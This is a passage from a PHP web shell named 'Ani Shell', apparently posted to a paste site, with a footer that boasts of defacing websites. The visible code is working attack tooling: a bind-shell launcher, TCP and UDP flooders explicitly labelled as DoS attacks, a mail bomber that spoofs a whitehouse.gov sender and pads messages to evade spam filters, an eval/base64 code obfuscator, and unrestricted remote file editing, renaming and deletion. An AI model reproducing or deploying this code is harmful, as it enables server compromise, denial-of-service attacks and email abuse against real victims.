  1772.                 <tr>
  1773.                     <td>Port</td>
  1774.                     <td>
  1775.                         <input style="width: 200px;" class="cmd" name="port" value="31337" />
  1776.                     </td>
  1777.                 </tr>
  1778.                 <tr>
  1779.                     <td>Passwd </td>
  1780.                     <td><input style="width: 100px;" class="cmd" name="passwd" size='5' value="lionaneesh"/>
  1781.                 </tr>
  1782.                 <tr>
  1783.                 <td>
  1784.                 Mode
  1785.                 </td>
  1786.                 <td>
  1787.                         <select name="mode" class="cmd">
  1788.                             <option value="PHP">PHP</option>
  1789.                             <option value="Python">Python</option>
  1790.                         </select> &nbsp;&nbsp;<input style="width: 90px;" class="own" type="submit" value="Bind :D!"/></td>
  1791.                 </tr>    
  1792.                    
  1793.             </table>
  1794.          </td>
  1795.          </form>
  1796.     </tr>
  1797.     </table>
  1798.     <p align="center" style="color: red;" >Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!</p>
  1799. <?php
  1800.     }
  1801. }
  1802.  
  1803. //fuzzer
  1804.  
  1805. else if(isset($_GET['fuzz']))
  1806. {
  1807.     if(isset($_GET['ip']) &&
  1808.     isset($_GET['port']) &&
  1809.     isset($_GET['times']) &&
  1810.     isset($_GET['time']) &&
  1811.     isset($_GET['message']) &&
  1812.     isset($_GET['messageMultiplier']) &&
  1813.     $_GET['message'] != "" &&
  1814.     $_GET['time'] != "" &&
  1815.     $_GET['times'] != "" &&
  1816.     $_GET['port'] != "" &&
  1817.     $_GET['ip'] != "" &&
  1818.     $_GET['messageMultiplier'] != ""
  1819.     )
  1820.     {
  1821.        $IP=$_GET['ip'];
  1822.            $port=$_GET['port'];
  1823.        $times = $_GET['times'];
  1824.            $timeout = $_GET['time'];
  1825.            $send = 0;
  1826.        $ending = "";
  1827.        $multiplier = $_GET['messageMultiplier'];
  1828.        $data = "";
  1829.        $mode="tcp";
  1830.        $data .= "GET /";
  1831.        $ending .= " HTTP/1.1\n\r\n\r\n\r\n\r";
  1832.         if($_GET['type'] == "tcp")
  1833.         {
  1834.             $mode = "tcp";
  1835.         }
  1836.         while($multiplier--)
  1837.         {
  1838.             $data .= urlencode($_GET['message']);
  1839.         }
  1840.         $data .= "%s%s%s%s%d%x%c%n%n%n%n";// add some format string specifiers
  1841.         $data .= "by-Ani-shell".$ending;
  1842.         $length = strlen($data);
  1843.        
  1844.        
  1845.        echo "Sending Data :- <br /> <p align='center'>$data</p>";
  1846.        
  1847.        print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>";
  1848.            for($i=0;$i<$times;$i++)
  1849.            {
  1850.             $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
  1851.             if($socket)
  1852.             {
  1853.                 fwrite($socket , $data , $length );
  1854.                 fclose($socket);
  1855.             }
  1856.         }
  1857.         echo "<script>alert('Fuzzing Completed!');</script>";
  1858.         echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."<br />";
  1859.         echo "Total Number of Packets Sent : " . $times . "<br />";
  1860.         echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . "<br />";
  1861.         echo "Data per packet = " . HumanReadableFilesize($length) . "<br />";
  1862.     }
  1863.     else
  1864.     {
  1865.         ?>
  1866.         <form method="GET">
  1867.             <input type="hidden" name="fuzz" />
  1868.             <table id="margins">
  1869.                 <tr>
  1870.                     <td width="400" class="title">
  1871.                         IP
  1872.                     </td>
  1873.                     <td>
  1874.                         <input class="cmd" name="ip" value="127.0.0.1" onfocus="if(this.value == '127.0.0.1')this.value = '';" onblur="if(this.value=='')this.value='127.0.0.1';"/>
  1875.                     </td>
  1876.                 </tr>
  1877.                
  1878.                 <tr>
  1879.                     <td class="title">
  1880.                         Port
  1881.                     </td>
  1882.                     <td>
  1883.                         <input class="cmd" name="port" value="80" onfocus="if(this.value == '80')this.value = '';" onblur="if(this.value=='')this.value='80';"/>
  1884.                     </td>
  1885.                 </tr>
  1886.                
  1887.                 <tr>
  1888.                     <td class="title">
  1889.                         Timeout
  1890.                     </td>
  1891.                     <td>
  1892.                         <input type="text" class="cmd" name="time" value="5" onfocus="if(this.value == '5')this.value = '';" onblur="if(this.value=='')this.value='5';"/>
  1893.                     </td>
  1894.                 </tr>
  1895.                
  1896.                
  1897.                 <tr>
  1898.                     <td class="title">
  1899.                         No of times
  1900.                     </td>
  1901.                     <td>
  1902.                         <input type="text" class="cmd" name="times" value="100" onfocus="if(this.value == '100')this.value = '';" onblur="if(this.value=='')this.value='100';" />
  1903.                     </td>
  1904.                 </tr>
  1905.                
  1906.                 <tr>
  1907.                     <td class="title">
  1908.                         Message <font color="red">(The message Should be long and it will be multiplied with the value after it)</font>
  1909.                     </td>
  1910.                     <td>
  1911.                         <input class="cmd" name="message" value="%S%x--Some Garbage here --%x%S" onfocus="if(this.value == '%S%x--Some Garbage here --%x%S')this.value = '';" onblur="if(this.value=='')this.value='%S%x--Some Garbage here --%x%S';"/>
  1912.                     </td>
  1913.                     <td>
  1914.                         x
  1915.                     </td>
  1916.                     <td width="20">
  1917.                         <input style="width: 30px;" class="cmd" name="messageMultiplier" value="10" />
  1918.                     </td>
  1919.                 </tr>
  1920.                
  1921.                 <tr>
  1922.                     <td rowspan="2">
  1923.                         <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="own" value="Let it Rip! :D"/>
  1924.                     </td>
  1925.                 </tr>
  1926.             </table>            
  1927.         </form>
  1928.         <?php
  1929.     }
  1930. }
  1931.  
  1932.  
  1933. //DDos
  1934.  
  1935. else if(isset($_GET['dos']))
  1936. {
  1937.     if(isset($_GET['ip']) &&
  1938.     isset($_GET['exTime']) &&
  1939.     isset($_GET['port']) &&
  1940.     isset($_GET['timeout']) &&
  1941.     isset($_GET['exTime']) &&
  1942.     $_GET['exTime'] != "" &&
  1943.     $_GET['port'] != "" &&
  1944.     $_GET['ip'] != "" &&
  1945.     $_GET['timeout'] != "" &&
  1946.     $_GET['exTime'] != ""
  1947.     )
  1948.     {
  1949.        $IP=$_GET['ip'];
  1950.            $port=$_GET['port'];
  1951.        $executionTime = $_GET['exTime'];
  1952.            $noOfBytes = $_GET['noOfBytes'];
  1953.        $data = "";
  1954.        $timeout = $_GET['timeout'];
  1955.        $packets = 0;
  1956.        $counter = $noOfBytes;
  1957.        $maxTime = time() + $executionTime;;
  1958.        while($counter--)
  1959.        {
  1960.             $data .= "X";
  1961.        }
  1962.        $data .= "-by-Ani-Shell";
  1963.        print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>";
  1964.            
  1965.        while(1)
  1966.            {
  1967.             $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);
  1968.             if($socket)
  1969.             {
  1970.                 fwrite($socket , $data);
  1971.                 fclose($socket);
  1972.                 $packets++;
  1973.             }
  1974.             if(time() >= $maxTime)
  1975.             {
  1976.                 break;
  1977.             }
  1978.         }
  1979.         echo "<script>alert('DDos Completed!');</script>";
  1980.         echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />";
  1981.         echo "Total Number of Packets Sent : " . $packets . "<br />";
  1982.         echo "Total Data Sent = ". HumanReadableFilesize($packets*$noOfBytes) . "<br />";
  1983.         echo "Data per packet = " . HumanReadableFilesize($noOfBytes) . "<br />";
  1984.     }
  1985.     else
  1986.     {
  1987.  
  1988.         ?>
  1989.         <form method="GET">
  1990.             <input type="hidden" name="dos" />
  1991.             <table id="margins">
  1992.                 <tr>
  1993.                     <td width="400" class="title">
  1994.                         IP
  1995.                     </td>
  1996.                     <td>
  1997.                         <input class="cmd" name="ip" value="127.0.0.1" onfocus="if(this.value == '127.0.0.1')this.value = '';" onblur="if(this.value=='')this.value='127.0.0.1';"/>
  1998.                     </td>
  1999.                 </tr>
  2000.                
  2001.                 <tr>
  2002.                     <td class="title">
  2003.                         Port
  2004.                     </td>
  2005.                     <td>
  2006.                         <input class="cmd" name="port" value="80" onfocus="if(this.value == '80')this.value = '';" onblur="if(this.value=='')this.value='80';"/>
  2007.                     </td>
  2008.                 </tr>
  2009.                
  2010.                 <tr>
  2011.                     <td class="title">
  2012.                         Timeout <font color="red">(Time in seconds)</font>
  2013.                     </td>
  2014.                     <td>
  2015.                         <input type="text" class="cmd" name="timeout" value="5" onfocus="if(this.value == '5')this.value = '';" onblur="if(this.value=='')this.value='5';" />
  2016.                     </td>
  2017.                 </tr>
  2018.                
  2019.                
  2020.                 <tr>
  2021.                     <td class="title">
  2022.                         Execution Time <font color="red">(Time in seconds)</font>
  2023.                     </td>
  2024.                     <td>
  2025.                         <input type="text" class="cmd" name="exTime" value="10" onfocus="if(this.value == '10')this.value = '';" onblur="if(this.value=='')this.value='10';"/>
  2026.                     </td>
  2027.                 </tr>
  2028.                
  2029.                 <tr>
  2030.                     <td class="title">
  2031.                         No of Bytes per/packet
  2032.                     </td>
  2033.                     <td>
  2034.                         <input type="text" class="cmd" name="noOfBytes" value="999999" onfocus="if(this.value == '999999')this.value = '';" onblur="if(this.value=='')this.value='999999';"/>
  2035.                     </td>
  2036.                 </tr>
  2037.                
  2038.  
  2039.                 <tr>
  2040.                     <td rowspan="2">
  2041.                         <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="own" value="Let it Rip! :D"/>
  2042.                     </td>
  2043.                 </tr>
  2044.             </table>            
  2045.         </form>
  2046.         <?php
  2047.     }
  2048. }
  2049.  
  2050. // Mail Bomber
  2051.  
  2052. else if(isset($_GET['bomb']))
  2053. {
  2054.     if(
  2055.         isset($_GET['to']) &&
  2056.         isset($_GET['subject']) &&
  2057.         isset($_GET['message']) &&
  2058.         isset($_GET['times']) &&
  2059.         $_GET['to'] != '' &&
  2060.         $_GET['subject'] != '' &&
  2061.         $_GET['message'] != '' &&
  2062.         $_GET['times'] != ''
  2063.     )
  2064.     {
  2065.         $times = $_GET['times'];
  2066.         while($times--)
  2067.         {
  2068.             if(isset($_GET['padding']))
  2069.             {
  2070.                 $fromPadd = rand(0,9999);
  2071.                 $subjectPadd = " -- ID : ".rand(0,9999999);
  2072.                 $messagePadd = "\n\n------------------------------\n".rand(0,99999999);
  2073.                
  2074.             }
  2075.             $from = "president$fromPadd@whitehouse.gov";
  2076.             if(!mail($_GET['to'],$_GET['subject'].$subjectPadd,$_GET['message'].$messagePadd,"From:".$from))
  2077.             {
  2078.                 $error = 1;
  2079.                 echo "<p class='alert_red'>Some Error Occured!</p>";
  2080.                 break;
  2081.             }
  2082.         }
  2083.         if($error != 1)
  2084.         {
  2085.             echo "<p class='alert_green'>Mail(s) Sent!</p>";
  2086.         }
  2087.     }
  2088.     else
  2089.     {
  2090.         ?>
  2091.         <form method="GET">
  2092.             <input type="hidden" name="bomb" />
  2093.             <table id="margins">
  2094.                 <tr>
  2095.                     <td class="title">
  2096.                         To
  2097.                     </td>
  2098.                     <td>
  2099.                         <input class="cmd" name="to" value="victim@domain.com,victim2@domain.com" onfocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onblur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/>
  2100.                     </td>
  2101.                 </tr>
  2102.                
  2103.                 <tr>
  2104.                     <td class="title">
  2105.                         Subject
  2106.                     </td>
  2107.                     <td>
  2108.                         <input type="text" class="cmd" name="subject" value="Just testing my Fucking Skillz!" onfocus="if(this.value == 'Just testing my Fucking Skillz!')this.value = '';" onblur="if(this.value=='')this.value='Just testing my Fucking Skillz!';" />
  2109.                     </td>
  2110.                 </tr>
  2111.                  <tr>
  2112.                     <td class="title">
  2113.                         No. of Times  
  2114.                     </td>
  2115.                     <td>
  2116.                         <input class="cmd" name="times" value="100" onfocus="if(this.value == '100')this.value = '';" onblur="if(this.value=='')this.value='100';"/>
  2117.                     </td>
  2118.                 </tr>
  2119.        
  2120.                 <tr>
  2121.                     <td>
  2122.                        
  2123.                         Pad your message (Less spam detection)
  2124.                        
  2125.                     </td>
  2126.                     <td>
  2127.                    
  2128.                         <input type="checkbox" name="padding"/>
  2129.                          
  2130.                     </td>
  2131.                 </tr>
  2132.                 <tr>
  2133.                     <td colspan="2">
  2134.                         <textarea name="message" cols="110" rows="10" class="cmd">Ani-Shell Rocks!!</textarea>
  2135.                     </td>
  2136.                 </tr>
  2137.                
  2138.                
  2139.                 <tr>
  2140.                     <td rowspan="2">
  2141.                         <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="own" value="Send! :D"/>
  2142.                     </td>
  2143.                 </tr>
  2144.             </table>            
  2145.         </form>  
  2146.         <?php
  2147.     }
  2148. }
  2149.  
  2150. //Mass Mailer
  2151.  
  2152. else if(isset($_GET['mail']))
  2153. {
  2154.     if(
  2155.         isset($_GET['to']) &&
  2156.         isset($_GET['from']) &&
  2157.         isset($_GET['subject']) &&
  2158.         isset($_GET['message'])
  2159.     )
  2160.     {
  2161.  
  2162.         if(mail($_GET['to'],$_GET['subject'],$_GET['message'],"From:".$_GET['from']))
  2163.         {
  2164.             echo "<p class='alert_green'>Mail Sent!</p>";
  2165.         }
  2166.         else
  2167.         {
  2168.             echo "<p class='alert_red'>Some Error Occured!</p>";
  2169.         }
  2170.     }
  2171.     else
  2172.     {
  2173.         ?>
  2174.         <form method="GET">
  2175.             <input type="hidden" name="mail" />
  2176.             <table id="margins">
  2177.                 <tr>
  2178.                     <td width="100" class="title">
  2179.                         From
  2180.                     </td>
  2181.                     <td>
  2182.                         <input class="cmd" name="from" value="president@whitehouse.gov" onfocus="if(this.value == 'president@whitehouse.gov')this.value = '';" onblur="if(this.value=='')this.value='president@whitehouse.gov';"/>
  2183.                     </td>
  2184.                 </tr>
  2185.                
  2186.                 <tr>
  2187.                     <td class="title">
  2188.                         To
  2189.                     </td>
  2190.                     <td>
  2191.                         <input class="cmd" name="to" value="victim@domain.com,victim2@domain.com" onfocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onblur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/>
  2192.                     </td>
  2193.                 </tr>
  2194.                
  2195.                 <tr>
  2196.                     <td class="title">
  2197.                         Subject
  2198.                     </td>
  2199.                     <td>
  2200.                         <input type="text" class="cmd" name="subject" value="Just testing my Fucking Skillz!" onfocus="if(this.value == 'Just testing my Fucking Skillz!')this.value = '';" onblur="if(this.value=='')this.value='Just testing my Fucking Skillz!';" />
  2201.                     </td>
  2202.                 </tr>
  2203.                
  2204.                
  2205.                 <tr>
  2206.                     <td colspan="2">
  2207.                         <textarea name="message" cols="110" rows="10" class="cmd">All i remember are those lonely nights when i was defacing those insecure websites!</textarea>
  2208.                     </td>
  2209.                 </tr>
  2210.                
  2211.                
  2212.                 <tr>
  2213.                     <td rowspan="2">
  2214.                         <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="own" value="Send! :D"/>
  2215.                     </td>
  2216.                 </tr>
  2217.             </table>            
  2218.         </form>  
  2219.         <?php
  2220.     }
  2221. }
  2222.  
  2223.  
  2224. // Edit File
  2225.  
  2226. else if(isset($_POST['file']) &&
  2227.         isset($_POST['content']) )
  2228. {
  2229.     if(is_dir($_POST['file']))
  2230.     {
  2231.         header("location:".$self."?dir=".$_POST['file']);
  2232.     }
  2233.     if(file_exists($_POST['file']))
  2234.     {
  2235.         $handle = fopen($_POST['file'],"w");
  2236.         if (!handle) echo "<p class='alert_red'>Permission Denied</p>";
  2237.         else {
  2238.                 fwrite($handle,$_POST['content']);
  2239.                 echo "Your changes were Successfully Saved!";
  2240.         }
  2241.     }
  2242.     else
  2243.     {
  2244.         echo "<p class='alert_red'>File Name Specified does not exists!</p>";
  2245.     }
  2246. }
  2247.  
  2248. // PHP Obfuscator
  2249.  
  2250. else if(isset($_GET['obfuscate']))
  2251. {
  2252.     if ( isset($_POST['code']) &&
  2253.                $_POST['code'] != '')
  2254.     {
  2255.         $encoded = base64_encode(gzdeflate(trim(stripslashes($_POST['code'].' '),'<?php,?>'),9)); // high Compression! :P
  2256.         $encode = '
  2257. <?php
  2258. $encoded = \''.$encoded.'\';
  2259. eval(gzinflate(base64_decode($encoded)));
  2260. // Script Encoded by Ani-Shell
  2261. ?>
  2262. ';
  2263.     }
  2264.     else
  2265.     {
  2266.         $encode = 'Please Enter your Code! and Click Submit! :)';    
  2267.     }?>
  2268.     <form method="POST">
  2269.         <textarea class="cmd" cols="100" rows="20" name="code"><?php echo $encode;?></textarea><br />
  2270.         <input style="margin: 20px; margin-left: 50px; padding: 10px;"  class="own"  type="submit" value="Encode :D"/>
  2271.     </form>
  2272.    
  2273.     <?php
  2274. }
  2275.  
  2276. //open file
  2277.  
  2278. else if(isset($_GET['open']))
  2279. {
  2280.     ?>
  2281.         </center>
  2282.         <form method="POST" action="<?php echo $self;?>" >
  2283.         <table>
  2284.             <tr>
  2285.                 <td>File </td><td> : </td><td><input value="<?php echo $_GET['open'];?>" class="cmd" name="file" /></td>
  2286.             </tr>
  2287.             <tr>
  2288.                 <td>Size </td><td> : </td><td><input value="<?php echo filesize($_GET['open']);?>" class="cmd" /></td>
  2289.             </tr>
  2290.         </table>
  2291.         <textarea name="content" rows="20" cols="60" class="cmd"><?php
  2292.         $content = htmlspecialchars(file_get_contents($_GET['open']));
  2293.         if($content)
  2294.         {
  2295.             echo $content;
  2296.         }
  2297.         else if(function_exists('fgets') && function_exists('fopen') && function_exists('feof'))
  2298.         {
  2299.             $fd = fopen($_GET['open']);
  2300.             if (!$fd) echo "<p class='alert_red'>Permission Denied</p>";
  2301.             else {
  2302.             while(!feof())
  2303.             {
  2304.                 echo htmlspecialchars(fgets($fd));
  2305.             }
  2306.             }
  2307.         }
  2308.  
  2309.         ?>
  2310.         </textarea><br />
  2311.         <input name="save" type="Submit" value="Save Changes" class="own" id="spacing"/>
  2312.         </form>
  2313.     <?php
  2314. }
  2315.  
  2316. //Rename
  2317.  
  2318. else if(isset($_GET['rename']))
  2319. {
  2320.     if(isset($_GET['to']) && isset($_GET['rename']))
  2321.     {
  2322.         if(rename($_GET['rename'],$_GET['to']) == FALSE)
  2323.         {
  2324.             ?>
  2325.             <big><p class="blink">Cant rename the file specified! Please check the file-name , Permissions and try again!</p></big>
  2326.             <?php
  2327.         }
  2328.         else
  2329.         {
  2330.             ?>
  2331.             <big><p class="blink">File Renamed , Return <a href="<?php echo $self;?>">Here</a></p></big>
  2332.             <?php
  2333.         }
  2334.     }
  2335.     else
  2336.     {
  2337. ?>
  2338.     <form method="GET" action="<?php echo $self;?>" >
  2339.         <table>
  2340.             <tr>
  2341.                 <td>File </td><td> : </td><td><input value="<?php echo $_GET['rename'];?>" class="cmd" name="rename" /></td>
  2342.             </tr>
  2343.             <tr>
  2344.                 <td>To </td><td> : </td><td><input value="<?php echo $_GET['rename'];?>" class="cmd" name="to" /></td>
  2345.             </tr>
  2346.         </table>
  2347.         <input type="Submit" value="Rename :D" class="own" style="margin-left: 160px;padding: 5px;"/>
  2348.         </form>  
  2349.     <?php
  2350.     }
  2351. }
  2352. // No request made
  2353. // Display home page
  2354.  
  2355. else
  2356. {
  2357.     echo "    </center>";
  2358.     $dir = getcwd();
  2359.     if(isset($_GET['dir']))
  2360.     {
  2361.         $dir = $_GET['dir'];
  2362.     }
  2363.     ?>
  2364.     <table id="margins">
  2365.     <tr>
  2366.         <form method="GET" action="<?php echo $self;?>">
  2367.         <td width="100">PWD</td><td width="410"><input name="dir" class="cmd" id="mainInput" value="<?php echo $dir;?>"/></td>
  2368.         <td><input type="submit" value="GO" class="own" /></td>
  2369.         </form>
  2370.     </tr>
  2371.     </table>
  2372.    
  2373.     <table id="margins" class="files">
  2374.     <tr>
  2375.         <th class="header" width="500px">Name</th>
  2376.         <th width="100px" class="header">Size</th>
  2377.         <th width="100px" class="header">Permissions</th>
  2378.         <th width="100px" class="header">Delete</th>
  2379.         <th width="100px" class="header">Rename</th>
  2380.         <th width="100px" class="header">Zip</th>
  2381.     </tr>
  2382.     <?php
  2383.    
  2384.     if(isset($_GET['delete']))
  2385.     {
  2386.         if(unlink(($_GET['delete'])) == FALSE)
  2387.         {
  2388.             echo "<p id='margins' class='alert_red'>Could Not Delete the FILE Specified</p>";
  2389.         }
  2390.     }
  2391.  
  2392.     else if(isset($_GET['delete_dir']))
  2393.     {
  2394.         if(rmdir(($_GET['delete'])) == FALSE)
  2395.         {
  2396.             echo "<p id='margins' class='alert_red'>Could Not Delete the DIRECTORY Specified</p>";
  2397.         }
  2398.     }
  2399.  
  2400.     if(is_dir($dir))
  2401.     {
  2402.         $handle = opendir($dir);
  2403.         if($handle != FALSE)
  2404.         {
  2405.         if($dir[(strlen($dir)-1)] != $SEPARATOR){$dir = $dir.$SEPARATOR;}
  2406.         while (($file = readdir($handle)) != false) {
  2407.                 if ($file != "." && $file != "..")
  2408.                 {
  2409.                
  2410.                 $color = 'red';
  2411.                 if(is_readable($dir.$file))
  2412.                 {
  2413.                         $color = 'yellow';
  2414.                 }
  2415.                 if(is_writable($dir.$file))
  2416.                 {
  2417.                         $color = 'green';
  2418.                 }
  2419.                
  2420.                 if(is_dir($dir.$file))
  2421.                 {
  2422.                     ?>
  2423.                     <tr>
  2424.                     <td class='dir'><a style="color: <?php echo $color?>;" href='<?php echo $self ?>?dir=<?php echo $dir.$file ?>'><b>/<?php echo $file ?></b></a></td>
  2425.                     <td class='info'><?php echo HumanReadableFilesize(dirSize($dir.$file));?></td>
  2426.                     <td class='info'><?php echo getFilePermissions($dir.$file);?></td>
  2427.                     <td class="info"><a href="<?php echo $self;?>?delete_dir=<?php echo $dir.$file;?>">Delete</a></td>
  2428.                     <td class="info"><a href="<?php echo $self;?>?rename=<?php echo $dir.$file;?>">Rename</a></td>
  2429.                     <td class="info"><a href="<?php echo $self;?>?zip=<?php echo $dir.$file;?>">Download (zip)</a></td>
  2430.                     </tr>
  2431.                 <?php
  2432.                 }
  2433.                 //Its a file
  2434.                 else
  2435.                 {
  2436.                     ?>
  2437.                     <tr>
  2438.                     <td class='file'><a style="color: <?php echo $color?>;" href='<?php echo $self ?>?open=<?php echo $dir.$file ?>'><?php echo $file ?></a></td>
  2439.                     <td class='info'><?php echo HumanReadableFilesize(filesize($dir.$file));?></td>
  2440.                     <td class='info'><?php echo getFilePermissions($dir.$file);?></td>
  2441.                     <td class="info"><a href="<?php echo $self;?>?delete=<?php echo $dir.$file;?>">Delete</a></td>
  2442.                     <td class="info"><a href="<?php echo $self;?>?rename=<?php echo $dir.$file;?>">Rename</a></td>
  2443.                     <td class="info"><a href="<?php echo $self;?>?zip=<?php echo $dir.$file;?>">Download (zip)</a></td>
  2444.                     </tr>
  2445.                     <?php
  2446.                 }
  2447.             }
  2448.         }
  2449.         closedir($handle);
  2450.         }
  2451.     }
  2452.     else
  2453.     {
  2454.         echo "<p class='alert_red' id='margins'>Permission Denied</p>";
  2455.     }
  2456.     ?>
  2457.     </table>
  2458.     <?php
  2459.  
  2460. }
  2461. //------------------------------------------------------------------------------------------------
  2462. ?>
  2463.  
  2464. <?php
  2465. }
  2466. // End Shell
  2467. //-------------------------------------------------------------------------------------------------
  2468. ?>
  2469.   <div class="clearfooter"></div>
  2470. </div>
  2471.  
  2472. <div class="end" id='footer' style="margin-top: 20px;">
  2473. <p align="center"><b>(C) Copyright lionaneesh [All rights reserved]</b><br />
  2474. (: <a href="http://twitter.com/lionaneesh">Follow Me</a> | <a href="http://facebook.com/lionaneesh">Facebook</a> :) <br />
  2475. \m/ <b>Greetz to</b> : LuCky , Aasim Bhai aKa R00tD3vil , and all ICA and Indishell Members! We'll Always rock \m/<br />
  2476. All I remember were those lonely nights when I was defacing those insecure websites
  2477. </p>
  2478. </div>
  2479.  
  2480. </body>
  2481. </html>

Reply to "Ani Shell"

Here you can reply to the paste above